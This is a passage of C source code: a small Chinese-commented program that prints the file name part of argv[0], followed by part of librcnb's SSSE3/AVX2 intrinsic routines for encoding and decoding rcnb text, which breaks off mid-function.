#include <stdio.h> #include <string.h> /* 得到一个完整路径中的最后的文件名 */ char* basename(char* full_name) { char *p; p = rindex(full_name,'/'); /* 找到路径名中第一个"/" */ if (p == '\0') p = full_name; /* 找不到‘/‘说明已经是一个文件名 */ else p++; /* 得到文件名的起始位置 */ return p; /* 返回文件名 */ } int main(int argc, char * argv[]) { char *p; p = basename(argv[0]); /* 将第一个命令行参数中的程序文件名提取出来 */ printf("file name is : %s\n", p); /* 输出文件名 */ return 0; }
the_stack_data/179831613.c
/* cencode_x86.c - x86 intrinsic source to an rcnb encoding algorithm This is part of the librcnb project, and has been placed in the public domain. For details, see https://github.com/rikakomoe/librcnb */ #if defined(ENABLE_AVX2) || defined(ENABLE_SSSE3) #include <immintrin.h> #include <rcnb/cencode.h> #include <rcnb/cdecode.h> typedef struct concat_tbl { unsigned char first[16]; unsigned char second[16]; } concat_tbl; static const unsigned char swizzle[16] = {1, 0, 3, 2, 5, 4, 7, 6, 9, 8, 11, 10, 13, 12, 15, 14}; static const concat_tbl rc_lo = { {114, 82, 84, 85, 86, 87, 88, 89, 166, 16, 17, 18, 19, 76, 77}, {99, 67, 6, 7, 8, 9, 10, 11, 12, 13, 135, 136, 199, 59, 60} }; static const concat_tbl rc_hi = { {0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2}, {0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 2, 2} }; static const concat_tbl nb_lo = { {110, 78, 67, 68, 69, 70, 71, 72, 157, 158, 209, 248, 249, 32, 53}, {98, 66, 128, 129, 131, 132, 133, 223, 222, 254} }; static const concat_tbl nb_hi = { {0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 2, 2}, {0, 0, 1, 1, 1, 1, 1, 0, 0, 0} }; static const concat_tbl rc_tbl = { {14, 8, 0, 255, 2, 3, 4, 5, 6, 7, 9, 10, 11, 1, 12, 13}, {13, 3, 9, 14, 4, 0, 5, 255, 10, 6, 11, 1, 7, 12, 2, 8} }; static const concat_tbl nb_tbl = { {10, 3, 255, 4, 8, 0, 5, 9, 6, 1, 7, 13, 11, 14, 2, 12}, {2, 3, 255, 255, 4, 255, 5, 6, 8, 7, 255, 1, 9, 255, 255, 0} }; static const unsigned char s_tbl[16] = {0, 0, 255, 255, 255, 0, 255, 0}; static const concat_tbl mul_c = { {225, 1, 225, 1, 225, 1, 225, 1, 225, 1, 225, 1, 225, 1, 225, 1}, {150, 1, 150, 1, 150, 1, 150, 1, 150, 1, 150, 1, 150, 1, 150, 1} }; #ifdef __clang__ // Clang really don't like vpermd and attempts to replace it with 5+ ops. // Mark this as potentially non-const to force Clang using vpermd. static unsigned int permuted[8] = {0, 4, 1, 5, 2, 6, 3, 7}; static unsigned char shuffler[16] = {0, 1, 4, 5, 2, 3, 6, 7, 8, 9, 12, 13, 10, 11, 14, 15}; void unused_force_clang_use_vpermd() { permuted[0] = 0; } void unused_force_clang_use_vpshufb() { shuffler[0] = 0; } #else static const unsigned int permuted[8] = {0, 4, 1, 5, 2, 6, 3, 7}; static const unsigned char shuffler[16] = {0, 1, 4, 5, 2, 3, 6, 7, 8, 9, 12, 13, 10, 11, 14, 15}; #endif #endif #ifdef ENABLE_SSSE3 #define mm_blendv_epi8(a, b, mask) _mm_or_si128(_mm_and_si128(mask, b), _mm_andnot_si128(mask, a)) void rcnb_encode_32n_asm(const char *value_in, char *value_out, size_t n) { for (size_t i = 0; i < n; ++i) { __m128i input1 = _mm_loadu_si128((__m128i *) value_in); input1 = _mm_shuffle_epi8(input1, *(__m128i *) &swizzle); // 0xffff for neg, 0x0000 for pos __m128i sign1 = _mm_srai_epi16(input1, 15); input1 = _mm_and_si128(input1, _mm_set1_epi16(0x7fff)); __m128i input2 = _mm_loadu_si128((__m128i *) (value_in + 16)); input2 = _mm_shuffle_epi8(input2, *(__m128i *) &swizzle); __m128i sign2 = _mm_srai_epi16(input2, 15); input2 = _mm_and_si128(input2, _mm_set1_epi16(0x7fff)); value_in += 32; __m128i idx_r1, idx_c1, idx_n1, idx_b1; __m128i idx_r2, idx_c2, idx_n2, idx_b2; { // i / 2250 = (i * 59653) >> (16 + 11) idx_r1 = _mm_srli_epi16(_mm_mulhi_epu16(input1, _mm_set1_epi16(-5883)), 11); __m128i r_mul_2250 = _mm_mullo_epi16(idx_r1, _mm_set1_epi16(2250)); // i % 2250 __m128i i_mod_2250 = _mm_sub_epi16(input1, r_mul_2250); // i / 150 = (i * 55925) >> (16 + 7) idx_c1 = _mm_srli_epi16(_mm_mulhi_epu16(i_mod_2250, _mm_set1_epi16(-9611)), 7); __m128i c_mul_150 = _mm_add_epi16(r_mul_2250, _mm_mullo_epi16(idx_c1, _mm_set1_epi16(150))); // i % 150 __m128i i_mod_150 = _mm_sub_epi16(input1, c_mul_150); // i / 10 = (i * 52429) >> (16 + 3); idx_n1 = _mm_srli_epi16(_mm_mulhi_epu16(i_mod_150, _mm_set1_epi16(-13107)), 3); __m128i n_mul_10 = _mm_add_epi16(c_mul_150, _mm_mullo_epi16(idx_n1, _mm_set1_epi16(10))); // i % 10 idx_b1 = _mm_sub_epi16(input1, n_mul_10); } { idx_r2 = _mm_srli_epi16(_mm_mulhi_epu16(input2, _mm_set1_epi16(-5883)), 11); __m128i r_mul_2250 = _mm_mullo_epi16(idx_r2, _mm_set1_epi16(2250)); __m128i i_mod_2250 = _mm_sub_epi16(input2, r_mul_2250); idx_c2 = _mm_srli_epi16(_mm_mulhi_epu16(i_mod_2250, _mm_set1_epi16(-9611)), 7); __m128i c_mul_150 = _mm_add_epi16(r_mul_2250, _mm_mullo_epi16(idx_c2, _mm_set1_epi16(150))); __m128i i_mod_150 = _mm_sub_epi16(input2, c_mul_150); idx_n2 = _mm_srli_epi16(_mm_mulhi_epu16(i_mod_150, _mm_set1_epi16(-13107)), 3); __m128i n_mul_10 = _mm_add_epi16(c_mul_150, _mm_mullo_epi16(idx_n2, _mm_set1_epi16(10))); idx_b2 = _mm_sub_epi16(input2, n_mul_10); } __m128i idx_r = _mm_packus_epi16(idx_r1, idx_r2); __m128i idx_c = _mm_packus_epi16(idx_c1, idx_c2); __m128i idx_n = _mm_packus_epi16(idx_n1, idx_n2); __m128i idx_b = _mm_packus_epi16(idx_b1, idx_b2); __m128i r_l = _mm_shuffle_epi8(*(__m128i *) &rc_lo.first, idx_r); __m128i c_l = _mm_shuffle_epi8(*(__m128i *) &rc_lo.second, idx_c); __m128i n_l = _mm_shuffle_epi8(*(__m128i *) &nb_lo.first, idx_n); __m128i b_l = _mm_shuffle_epi8(*(__m128i *) &nb_lo.second, idx_b); __m128i r_h = _mm_shuffle_epi8(*(__m128i *) &rc_hi.first, idx_r); __m128i c_h = _mm_shuffle_epi8(*(__m128i *) &rc_hi.second, idx_c); __m128i n_h = _mm_shuffle_epi8(*(__m128i *) &nb_hi.first, idx_n); __m128i b_h = _mm_shuffle_epi8(*(__m128i *) &nb_hi.second, idx_b); __m128i r1 = _mm_unpacklo_epi8(r_l, r_h); __m128i r2 = _mm_unpackhi_epi8(r_l, r_h); __m128i c1 = _mm_unpacklo_epi8(c_l, c_h); __m128i c2 = _mm_unpackhi_epi8(c_l, c_h); __m128i n1 = _mm_unpacklo_epi8(n_l, n_h); __m128i n2 = _mm_unpackhi_epi8(n_l, n_h); __m128i b1 = _mm_unpacklo_epi8(b_l, b_h); __m128i b2 = _mm_unpackhi_epi8(b_l, b_h); __m128i rc1_t = _mm_unpacklo_epi16(r1, c1); __m128i rc2_t = _mm_unpackhi_epi16(r1, c1); __m128i rc3_t = _mm_unpacklo_epi16(r2, c2); __m128i rc4_t = _mm_unpackhi_epi16(r2, c2); __m128i nb1_t = _mm_unpacklo_epi16(n1, b1); __m128i nb2_t = _mm_unpackhi_epi16(n1, b1); __m128i nb3_t = _mm_unpacklo_epi16(n2, b2); __m128i nb4_t = _mm_unpackhi_epi16(n2, b2); __m128i mask1 = _mm_unpacklo_epi16(sign1, sign1); __m128i mask2 = _mm_unpackhi_epi16(sign1, sign1); __m128i mask3 = _mm_unpacklo_epi16(sign2, sign2); __m128i mask4 = _mm_unpackhi_epi16(sign2, sign2); __m128i rc1 = mm_blendv_epi8(rc1_t, nb1_t, mask1); __m128i rc2 = mm_blendv_epi8(rc2_t, nb2_t, mask2); __m128i rc3 = mm_blendv_epi8(rc3_t, nb3_t, mask3); __m128i rc4 = mm_blendv_epi8(rc4_t, nb4_t, mask4); __m128i nb1 = mm_blendv_epi8(nb1_t, rc1_t, mask1); __m128i nb2 = mm_blendv_epi8(nb2_t, rc2_t, mask2); __m128i nb3 = mm_blendv_epi8(nb3_t, rc3_t, mask3); __m128i nb4 = mm_blendv_epi8(nb4_t, rc4_t, mask4); __m128i rcnb1 = _mm_unpacklo_epi32(rc1, nb1); __m128i rcnb2 = _mm_unpackhi_epi32(rc1, nb1); __m128i rcnb3 = _mm_unpacklo_epi32(rc2, nb2); __m128i rcnb4 = _mm_unpackhi_epi32(rc2, nb2); __m128i rcnb5 = _mm_unpacklo_epi32(rc3, nb3); __m128i rcnb6 = _mm_unpackhi_epi32(rc3, nb3); __m128i rcnb7 = _mm_unpacklo_epi32(rc4, nb4); __m128i rcnb8 = _mm_unpackhi_epi32(rc4, nb4); if (sizeof(wchar_t) == 2) { _mm_storeu_si128((__m128i *) (value_out), rcnb1); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb2); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb3); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb4); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb5); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb6); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb7); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), rcnb8); value_out += 16; } else if (sizeof(wchar_t) == 4) { _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb1, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb1, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb2, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb2, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb3, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb3, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb4, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb4, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb5, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb5, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb6, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb6, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb7, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb7, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpacklo_epi16(rcnb8, _mm_setzero_si128())); value_out += 16; _mm_storeu_si128((__m128i *) (value_out), _mm_unpackhi_epi16(rcnb8, _mm_setzero_si128())); value_out += 16; } } } int rcnb_decode_32n_asm(const char *value_in, char *value_out, size_t n) { __m128i rcnb1, rcnb2, rcnb3, rcnb4, rcnb5, rcnb6, rcnb7, rcnb8; __m128i s_t = *(__m128i *) &s_tbl; __m128i r_t = *(__m128i *) rc_tbl.first; __m128i c_t = *(__m128i *) rc_tbl.second; __m128i n_t = *(__m128i *) nb_tbl.first; __m128i b_t = *(__m128i *) nb_tbl.second; __m128i mul_rc = *(__m128i *) mul_c.first; __m128i mul_nb = *(__m128i *) mul_c.second; __m128i r_swizzle = *(__m128i *) &swizzle; for (size_t i = 0; i < n; ++i) { if (sizeof(wchar_t) == 2) { rcnb1 = _mm_loadu_si128((__m128i *) value_in); rcnb2 = _mm_loadu_si128((__m128i *) (value_in + 16)); rcnb3 = _mm_loadu_si128((__m128i *) (value_in + 32)); rcnb4 = _mm_loadu_si128((__m128i *) (value_in + 48)); rcnb5 = _mm_loadu_si128((__m128i *) (value_in + 64)); rcnb6 = _mm_loadu_si128((__m128i *) (value_in + 80)); rcnb7 = _mm_loadu_si128((__m128i *) (value_in + 96)); rcnb8 = _mm_loadu_si128((__m128i *) (value_in + 112)); value_in += 128; } else if (sizeof(wchar_t) == 4) { rcnb1 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb2 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb3 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb4 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb5 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb6 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb7 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; rcnb8 = _mm_packs_epi32(_mm_loadu_si128((__m128i *) value_in), _mm_loadu_si128((__m128i *) (value_in + 16))); value_in += 32; } __m128i r_c1t, r_c2t, c_c1t, c_c2t, n_c1t, n_c2t, b_c1t, b_c2t; { __m128i rcnb_04 = _mm_unpacklo_epi16(rcnb1, rcnb3); __m128i rcnb_15 = _mm_unpackhi_epi16(rcnb1, rcnb3); __m128i rcnb_26 = _mm_unpacklo_epi16(rcnb2, rcnb4); __m128i rcnb_37 = _mm_unpackhi_epi16(rcnb2, rcnb4); __m128i rcnb_0246_1 = _mm_unpacklo_epi16(rcnb_04, rcnb_26); __m128i rcnb_0246_2 = _mm_unpackhi_epi16(rcnb_04, rcnb_26); __m128i rcnb_1357_1 = _mm_unpacklo_epi16(rcnb_15, rcnb_37); __m128i rcnb_1357_2 = _mm_unpackhi_epi16(rcnb_15, rcnb_37); r_c1t = _mm_unpacklo_epi16(rcnb_0246_1, rcnb_1357_1); c_c1t = _mm_unpackhi_epi16(rcnb_0246_1, rcnb_1357_1); n_c1t = _mm_unpacklo_epi16(rcnb_0246_2, rcnb_1357_2); b_c1t = _mm_unpackhi_epi16(rcnb_0246_2, rcnb_1357_2); } { __m128i rcnb_04 = _mm_unpacklo_epi16(rcnb5, rcnb7); __m128i rcnb_15 = _mm_unpackhi_epi16(rcnb5, rcnb7); __m128i rcnb_26 = _mm_unpacklo_epi16(rcnb6, rcnb8); __m128i rcnb_37 = _mm_unpackhi_epi16(rcnb6, rcnb8); __m128i rcnb_0246_1 = _mm_unpacklo_epi16(rcnb_04, rcnb_26); __m128i rcnb_0246_2 = _mm_unpackhi_epi16(rcnb_04, rcnb_26); __m128i rcnb_1357_1 = _mm_unpacklo_epi16(rcnb_15, rcnb_37); __m128i rcnb_1357_2 = _mm_unpackhi_epi16(rcnb_15, rcnb_37); r_c2t = _mm_unpacklo_epi16(rcnb_0246_1, rcnb_1357_1); c_c2t = _mm_unpackhi_epi16(rcnb_0246_1, rcnb_1357_1); n_c2t = _mm_unpacklo_epi16(rcnb_0246_2, rcnb_1357_2); b_c2t = _mm_unpackhi_epi16(rcnb_0246_2, rcnb_1357_2); } __m128i sign_idx1 = _mm_srli_epi16(_mm_mullo_epi16(r_c1t, _mm_set1_epi16(2117)), 13); __m128i sign_idx2 = _mm_srli_epi16(_mm_mullo_epi16(r_c2t, _mm_set1_epi16(2117)), 13); __m128i sign1 = _mm_shuffle_epi8(s_t, sign_idx1); __m128i sign2 = _mm_shuffle_epi8(s_t, sign_idx2); sign1 = _mm_or_si128(sign1, _mm_slli_epi16(sign1, 8)); sign2 = _mm_or_si128(sign2, _mm_slli_epi16(sign2, 8)); __m128i r_c1 = mm_blendv_epi8(r_c1t, n_c1t, sign1); __m128i c_c1 = mm_blendv_epi8(c_c1t, b_c1t, sign1); __m128i n_c1 = mm_blendv_epi8(n_c1t, r_c1t, sign1); __m128i b_c1 = mm_blendv_epi8(b_c1t, c_c1t, sign1); __m128i r_c2 = mm_blendv_epi8(r_c2t, n_c2t, sign2); __m128i c_c2 = mm_blendv_epi8(c_c2t, b_c2t, sign2); __m128i n_c2 = mm_blendv_epi8(n_c2t, r_c2t, sign2); __m128i b_c2 = mm_blendv_epi8(b_c2t, c_c2t, sign2); sign1 = _mm_slli_epi16(sign1, 15); sign2 = _mm_slli_epi16(sign2, 15); __m128i r_i116 = _mm_srli_epi16(_mm_mullo_epi16(r_c1, _mm_set1_epi16(4675)), 12); __m128i c_i116 = _mm_srli_epi16(_mm_mullo_epi16(c_c1, _mm_set1_epi16(11482)), 12); __m128i n_i116 = _mm_srli_epi16(_mm_mullo_epi16(n_c1, _mm_set1_epi16(9726)), 12); __m128i b_i116 = _mm_and_si128(_mm_add_epi16(b_c1, _mm_add_epi16( _mm_srli_epi16(b_c1, 1), _mm_srli_epi16(b_c1, 3))), _mm_set1_epi16(15)); __m128i r_i216 = _mm_srli_epi16(_mm_mullo_epi16(r_c2, _mm_set1_epi16(4675)), 12); __m128i c_i216 = _mm_srli_epi16(_mm_mullo_epi16(c_c2, _mm_set1_epi16(11482)), 12); __m128i n_i216 = _mm_srli_epi16(_mm_mullo_epi16(n_c2, _mm_set1_epi16(9726)), 12); __m128i b_i216 = _mm_and_si128(_mm_add_epi16(b_c2, _mm_add_epi16( _mm_srli_epi16(b_c2, 1), _mm_srli_epi16(b_c2, 3))), _mm_set1_epi16(15)); __m128i r_i = _mm_packus_epi16(r_i116, r_i216); __m128i c_i = _mm_packus_epi16(c_i116, c_i216); __m128i n_i = _mm_packus_epi16(n_i116, n_i216); __m128i b_i = _mm_packus_epi16(b_i116, b_i216); __m128i r_v = _mm_shuffle_epi8(r_t, r_i); __m128i c_v = _mm_shuffle_epi8(c_t, c_i); __m128i n_v = _mm_shuffle_epi8(n_t, n_i); __m128i b_v = _mm_shuffle_epi8(b_t, b_i); __m128i bad_v = _mm_or_si128( _mm_or_si128( _mm_cmpeq_epi8(r_v, _mm_set1_epi8(-1)), _mm_cmpeq_epi8(c_v, _mm_set1_epi8(-1)) ), _mm_or_si128( _mm_cmpeq_epi8(n_v, _mm_set1_epi8(-1)), _mm_cmpeq_epi8(b_v, _mm_set1_epi8(-1)) ) ); __m128i rn_1 = _mm_unpacklo_epi8(r_v, n_v); __m128i rn_2 = _mm_unpackhi_epi8(r_v, n_v); __m128i cb_1 = _mm_unpacklo_epi8(c_v, b_v); __m128i cb_2 = _mm_unpackhi_epi8(c_v, b_v); rn_1 = _mm_maddubs_epi16(mul_rc, rn_1); rn_2 = _mm_maddubs_epi16(mul_rc, rn_2); cb_1 = _mm_maddubs_epi16(mul_nb, cb_1); cb_2 = _mm_maddubs_epi16(mul_nb, cb_2); if (_mm_movemask_epi8(bad_v)) { return 0; } __m128i result1 = _mm_add_epi16(_mm_add_epi16(_mm_slli_epi16(rn_1, 3), _mm_slli_epi16(rn_1, 1)), cb_1); __m128i result2 = _mm_add_epi16(_mm_add_epi16(_mm_slli_epi16(rn_2, 3), _mm_slli_epi16(rn_2, 1)), cb_2); result1 = _mm_or_si128(result1, sign1); result1 = _mm_shuffle_epi8(result1, r_swizzle); result2 = _mm_or_si128(result2, sign2); result2 = _mm_shuffle_epi8(result2, r_swizzle); _mm_storeu_si128((__m128i *) value_out, result1); _mm_storeu_si128((__m128i *) (value_out + 16), result2); value_out += 32; } return 1; } #endif #ifdef ENABLE_AVX2 void rcnb_encode_32n_asm(const char *value_in, char *value_out, size_t n) { __m256i r_swizzle = _mm256_broadcastsi128_si256(*(__m128i *) &swizzle); __m256i r_permute = *(__m256i *) &permuted; __m256i r_shuffler = _mm256_broadcastsi128_si256(*(__m128i *) &shuffler); for (size_t i = 0; i < n; ++i) { __m256i input = _mm256_loadu_si256((__m256i *) value_in); value_in += 32; input = _mm256_shuffle_epi8(input, r_swizzle); // 0xffff for neg, 0x0000 for pos __m256i sign = _mm256_srai_epi16(input, 15); input = _mm256_and_si256(input, _mm256_set1_epi16(0x7fff)); __m256i idx_r = _mm256_srli_epi16(_mm256_mulhi_epu16(input, _mm256_set1_epi16(-5883)), 11); __m256i r_mul_2250 = _mm256_mullo_epi16(idx_r, _mm256_set1_epi16(2250)); __m256i i_mod_2250 = _mm256_sub_epi16(input, r_mul_2250); __m256i idx_c = _mm256_srli_epi16(_mm256_mulhi_epu16(i_mod_2250, _mm256_set1_epi16(-9611)), 7); __m256i c_mul_150 = _mm256_add_epi16(r_mul_2250, _mm256_mullo_epi16(idx_c, _mm256_set1_epi16(150))); __m256i i_mod_150 = _mm256_sub_epi16(input, c_mul_150); __m256i idx_n = _mm256_srli_epi16(_mm256_mulhi_epu16(i_mod_150, _mm256_set1_epi16(-13107)), 3); __m256i n_mul_10 = _mm256_add_epi16(c_mul_150, _mm256_mullo_epi16(idx_n, _mm256_set1_epi16(10))); __m256i idx_b = _mm256_sub_epi16(input, n_mul_10); __m256i idx_rc = _mm256_packus_epi16(idx_r, idx_c); __m256i idx_nb = _mm256_packus_epi16(idx_n, idx_b); idx_rc = _mm256_permute4x64_epi64(idx_rc, 0xd8); idx_nb = _mm256_permute4x64_epi64(idx_nb, 0xd8); __m256i rc_l = _mm256_shuffle_epi8(*(__m256i *) &rc_lo, idx_rc); __m256i rc_h = _mm256_shuffle_epi8(*(__m256i *) &rc_hi, idx_rc); __m256i nb_l = _mm256_shuffle_epi8(*(__m256i *) &nb_lo, idx_nb); __m256i nb_h = _mm256_shuffle_epi8(*(__m256i *) &nb_hi, idx_nb); __m256i r1c1_t = _mm256_unpacklo_epi8(rc_l, rc_h); __m256i r2c2_t = _mm256_unpackhi_epi8(rc_l, rc_h); __m256i n1b1_t = _mm256_unpacklo_epi8(nb_l, nb_h); __m256i n2b2_t = _mm256_unpackhi_epi8(nb_l, nb_h); __m256i sign1 = _mm256_permute4x64_epi64(sign, 0b01000100); __m256i sign2 = _mm256_permute4x64_epi64(sign, 0b11101110); __m256i r1c1 = _mm256_blendv_epi8(r1c1_t, n1b1_t, sign1); __m256i r2c2 = _mm256_blendv_epi8(r2c2_t, n2b2_t, sign2); __m256i n1b1 = _mm256_blendv_epi8(n1b1_t, r1c1_t, sign1); __m256i n2b2 = _mm256_blendv_epi8(n2b2_t, r2c2_t, sign2); __m256i rn1cb1 = _mm256_unpacklo_epi16(r1c1, n1b1); __m256i rn2cb2 = _mm256_unpackhi_epi16(r1c1, n1b1); __m256i rn3cb3 = _mm256_unpacklo_epi16(r2c2, n2b2); __m256i rn4cb4 = _mm256_unpackhi_epi16(r2c2, n2b2); __m256i rncb1 = _mm256_permutevar8x32_epi32(rn1cb1, r_permute); __m256i rncb2 = _mm256_permutevar8x32_epi32(rn2cb2, r_permute); __m256i rncb3 = _mm256_permutevar8x32_epi32(rn3cb3, r_permute); __m256i rncb4 = _mm256_permutevar8x32_epi32(rn4cb4, r_permute); __m256i rcnb1 = _mm256_shuffle_epi8(rncb1, r_shuffler); __m256i rcnb2 = _mm256_shuffle_epi8(rncb2, r_shuffler); __m256i rcnb3 = _mm256_shuffle_epi8(rncb3, r_shuffler); __m256i rcnb4 = _mm256_shuffle_epi8(rncb4, r_shuffler); if (sizeof(wchar_t) == 2) { _mm256_storeu_si256((__m256i *) (value_out), rcnb1); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), rcnb2); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), rcnb3); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), rcnb4); value_out += 32; } else if (sizeof(wchar_t) == 4) { _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb1, 0))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb1, 1))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb2, 0))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb2, 1))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb3, 0))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb3, 1))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb4, 0))); value_out += 32; _mm256_storeu_si256((__m256i *) (value_out), _mm256_cvtepi16_epi32(_mm256_extracti128_si256(rcnb4, 1))); value_out += 32; } } } int rcnb_decode_32n_asm(const char *value_in, char *value_out, size_t n) { __m256i rcnb1, rcnb2, rcnb3, rcnb4; __m256i rc_t = *(__m256i *) &rc_tbl; __m256i nb_t = *(__m256i *) &nb_tbl; __m256i s_t = _mm256_broadcastsi128_si256(*(__m128i *) &s_tbl); __m256i mul = *(__m256i *) &mul_c; __m256i r_swizzle = _mm256_broadcastsi128_si256(*(__m128i *) &swizzle); for (size_t i = 0; i < n; ++i) { if (sizeof(wchar_t) == 2) { rcnb1 = _mm256_loadu_si256((__m256i*) value_in); rcnb2 = _mm256_loadu_si256((__m256i*) (value_in + 32)); rcnb3 = _mm256_loadu_si256((__m256i*) (value_in + 64)); rcnb4 = _mm256_loadu_si256((__m256i*) (value_in + 96)); value_in += 128; } else if (sizeof(wchar_t) == 4) { __m256i tmp1, tmp2; tmp1 = _mm256_loadu_si256((__m256i*) value_in); tmp2 = _mm256_loadu_si256((__m256i*) (value_in + 32)); value_in += 64; rcnb1 = _mm256_permute4x64_epi64(_mm256_packus_epi32(tmp1, tmp2), 0xd8); tmp1 = _mm256_loadu_si256((__m256i*) value_in); tmp2 = _mm256_loadu_si256((__m256i*) (value_in + 32)); value_in += 64; rcnb2 = _mm256_permute4x64_epi64(_mm256_packus_epi32(tmp1, tmp2), 0xd8); tmp1 = _mm256_loadu_si256((__m256i*) value_in); tmp2 = _mm256_loadu_si256((__m256i*) (value_in + 32)); value_in += 64; rcnb3 = _mm256_permute4x64_epi64(_mm256_packus_epi32(tmp1, tmp2), 0xd8); tmp1 = _mm256_loadu_si256((__m256i*) value_in); tmp2 = _mm256_loadu_si256((__m256i*) (value_in + 32)); value_in += 64; rcnb4 = _mm256_permute4x64_epi64(_mm256_packus_epi32(tmp1, tmp2), 0xd8); } __m256i rcnb_0_1_8_9 = _mm256_permute2x128_si256(rcnb1, rcnb3, 0x20); __m256i rcnb_2_3_a_b = _mm256_permute2x128_si256(rcnb1, rcnb3, 0x31); __m256i rcnb_4_5_c_d = _mm256_permute2x128_si256(rcnb2, rcnb4, 0x20); __m256i rcnb_6_7_e_f = _mm256_permute2x128_si256(rcnb2, rcnb4, 0x31); __m256i rcnb_02_8a = _mm256_unpacklo_epi16(rcnb_0_1_8_9, rcnb_2_3_a_b); __m256i rcnb_13_9b = _mm256_unpackhi_epi16(rcnb_0_1_8_9, rcnb_2_3_a_b); __m256i rcnb_46_ce = _mm256_unpacklo_epi16(rcnb_4_5_c_d, rcnb_6_7_e_f); __m256i rcnb_57_df = _mm256_unpackhi_epi16(rcnb_4_5_c_d, rcnb_6_7_e_f); __m256i rcnb_0123_89ab_rc = _mm256_unpacklo_epi16(rcnb_02_8a, rcnb_13_9b); __m256i rcnb_0123_89ab_nb = _mm256_unpackhi_epi16(rcnb_02_8a, rcnb_13_9b); __m256i rcnb_4567_cdef_rc = _mm256_unpacklo_epi16(rcnb_46_ce, rcnb_57_df); __m256i rcnb_4567_cdef_nb = _mm256_unpackhi_epi16(rcnb_46_ce, rcnb_57_df); __m256i r_ct = _mm256_unpacklo_epi64(rcnb_0123_89ab_rc, rcnb_4567_cdef_rc); __m256i c_ct = _mm256_unpackhi_epi64(rcnb_0123_89ab_rc, rcnb_4567_cdef_rc); __m256i n_ct = _mm256_unpacklo_epi64(rcnb_0123_89ab_nb, rcnb_4567_cdef_nb); __m256i b_ct = _mm256_unpackhi_epi64(rcnb_0123_89ab_nb, rcnb_4567_cdef_nb); __m256i sign_idx = _mm256_srli_epi16(_mm256_mullo_epi16(r_ct, _mm256_set1_epi16(2117)), 13); __m256i sign = _mm256_shuffle_epi8(s_t, sign_idx); sign = _mm256_or_si256(sign, _mm256_slli_epi16(sign, 8)); __m256i r_c = _mm256_blendv_epi8(r_ct, n_ct, sign); __m256i c_c = _mm256_blendv_epi8(c_ct, b_ct, sign); __m256i n_c = _mm256_blendv_epi8(n_ct, r_ct, sign); __m256i b_c = _mm256_blendv_epi8(b_ct, c_ct, sign); sign = _mm256_slli_epi16(sign, 15); __m256i r_i16 = _mm256_srli_epi16(_mm256_mullo_epi16(r_c, 